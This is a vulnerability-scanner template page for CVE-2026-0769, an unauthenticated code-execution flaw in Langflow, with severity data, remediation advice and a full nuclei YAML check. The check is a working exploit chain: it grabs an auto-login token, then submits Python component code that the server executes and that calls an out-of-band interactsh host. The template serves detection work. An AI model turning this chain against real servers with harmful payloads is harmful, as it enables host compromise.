SecurityContext

CVE-2026-0769: Langflow - Remote Code Execution via custom_component eval_custom_component_code

  • Template: CVE-2026-0769
  • Name: Langflow - Remote Code Execution via custom_component eval_custom_component_code
  • Description: Langflow exposes an API endpoint (/api/v1/custom_component) that evaluates attacker-supplied Python component code via eval_custom_component_code without adequate sandboxing or validation. A remote attacker can submit crafted component code that executes arbitrary commands when the code is evaluated by the server. On deployments where AUTO_LOGIN is enabled (the default in many releases), a valid session token can be obtained from /api/v1/auto_login without credentials, making the issue remotely exploitable without authentication. The affected version range spans a broad set of 1.x releases; consult the vendor advisory for the exact fixed version applicable to a given deployment.
  • Impact: Successful exploitation allows an attacker to execute arbitrary code on the Langflow server, potentially leading to full compromise of the host and any connected infrastructure.
  • Remediation: Upgrade Langflow to 1.13.3 or later (stock 1.13.3 disables auto-login and rejects unauthenticated /api/v1/custom_component). Vendor advisories cite 1.10.1 as a fix, but a stock 1.10.1 image still issued an auto-login JWT and executed the custom-component payload. Disable AUTO_LOGIN, restrict access to the Langflow API, and avoid exposing it to untrusted networks.
  • Severity: critical
  • Authors: DhiyaneshDk
  • Tags: cve, cve2026, langflow, rce, oast, unauth, vkev
  • References: https://nvd.nist.gov/vuln/detail/CVE-2026-0769, https://www.zerodayinitiative.com/advisories/ZDI-26-035/, https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_0769.rb, https://github.com/langflow-ai/langflow
  • Cves: CVE-2026-0769
  • Verified: yes
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-0769.yaml
  • Digest: 4b0a00483046022100cec45fc78b49ce4d3537d4dd71a47dec6e321224efe213c440beefdc5c5def39022100b62806082ef202578c9e3182cbbd61f961cc1687c2596e70323f1d2adc1aae59
  • Created at: 2026-11-23T00:11:46Z
  • Updated at: 2026-11-23T02:03:43Z
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-0769.yaml
  • Checked, none or zero: age in days

Classification

  • Cwe: CWE-94
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.41152
  • Epss percentile: 0.98697
  • Cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="Langflow"
  • Max-request: 2
  • Product: langflow
  • Shodan-query: title:"Langflow"
  • Vendor: langflow-ai
  • Verified: yes

Products

ProductIndexedUrl
langflow-ai:langflowno—
langflow:langflowyes/v1/products/langflow/langflow

Labels

  • Name: Langflow - Remote Code Execution
  • Impact: Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  • Remediation: Update to the latest version of Langflow.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-0769
  • Not known: requirements

```yaml

id: CVE-2026-0769

info:

name: Langflow - Remote Code Execution via custom_component eval_custom_component_code

author: DhiyaneshDk

severity: critical

description: |

Langflow exposes an API endpoint (/api/v1/custom_component) that evaluates attacker-supplied Python component code via eval_custom_component_code without adequate sandboxing or validation. A remote attacker can submit crafted component code that executes arbitrary commands when the code is evaluated by the server. On deployments where AUTO_LOGIN is enabled (the default in many releases), a valid session token can be obtained from /api/v1/auto_login without credentials, making the issue remotely exploitable without authentication. The affected version range spans a broad set of 1.x releases; consult the vendor advisory for the exact fixed version applicable to a given deployment.

impact: |

Successful exploitation allows an attacker to execute arbitrary code on the Langflow server, potentially leading to full compromise of the host and any connected infrastructure.

remediation: |

Upgrade Langflow to 1.13.3 or later (stock 1.13.3 disables auto-login and rejects unauthenticated /api/v1/custom_component). Vendor advisories cite 1.10.1 as a fix, but a stock 1.10.1 image still issued an auto-login JWT and executed the custom-component payload. Disable AUTO_LOGIN, restrict access to the Langflow API, and avoid exposing it to untrusted networks.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2026-0769

- https://www.zerodayinitiative.com/advisories/ZDI-26-035/

- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_0769.rb

- https://github.com/langflow-ai/langflow

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2026-0769

epss-score: 0.41152

epss-percentile: 0.98697

cwe-id: CWE-94

cpe: cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: langflow-ai

product: langflow

shodan-query: title:"Langflow"

fofa-query: title="Langflow"

tags: cve,cve2026,langflow,rce,oast,unauth,vkev

flow: http(1); http(2)

http:

- raw:

- |

GET /api/v1/auto_login HTTP/1.1

Host: {{Hostname}}

extractors:

- type: regex

name: token

part: body

group: 1

internal: true

regex:

- '"access_token"\s*:\s*"([^"]+)"'

- raw:

- |

@timeout: 20s

POST /api/v1/custom_component HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

Authorization: Bearer {{token}}

{"code": "from langflow.custom import Component\nfrom langflow.io import Output\nfrom langflow.schema import Data\n\n\nclass NucleiComponent(Component):\n display_name = \"nuclei\"\n description = \"nuclei\"\n icon = \"bot\"\n inputs = []\n outputs = [Output(display_name=\"output\", name=\"output\", method=\"build_output\")]\n try:\n import urllib.request\n urllib.request.urlopen(\"http://{{interactsh-url}}\", timeout=4)\n except Exception:\n pass\n\n def build_output(self) -> Data:\n return Data(value=\"ok\")\n", "frontend_node": {}}

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol

words:

- http

- dns

condition: or

- type: word

part: body

words:

- '"base_classes"'

- '"conditional_paths"'

condition: or

digest: 4b0a00483046022100cec45fc78b49ce4d3537d4dd71a47dec6e321224efe213c440beefdc5c5def39022100b62806082ef202578c9e3182cbbd61f961cc1687c2596e70323f1d2adc1aae59:922c64590222798bb761d5b6d8e72950

```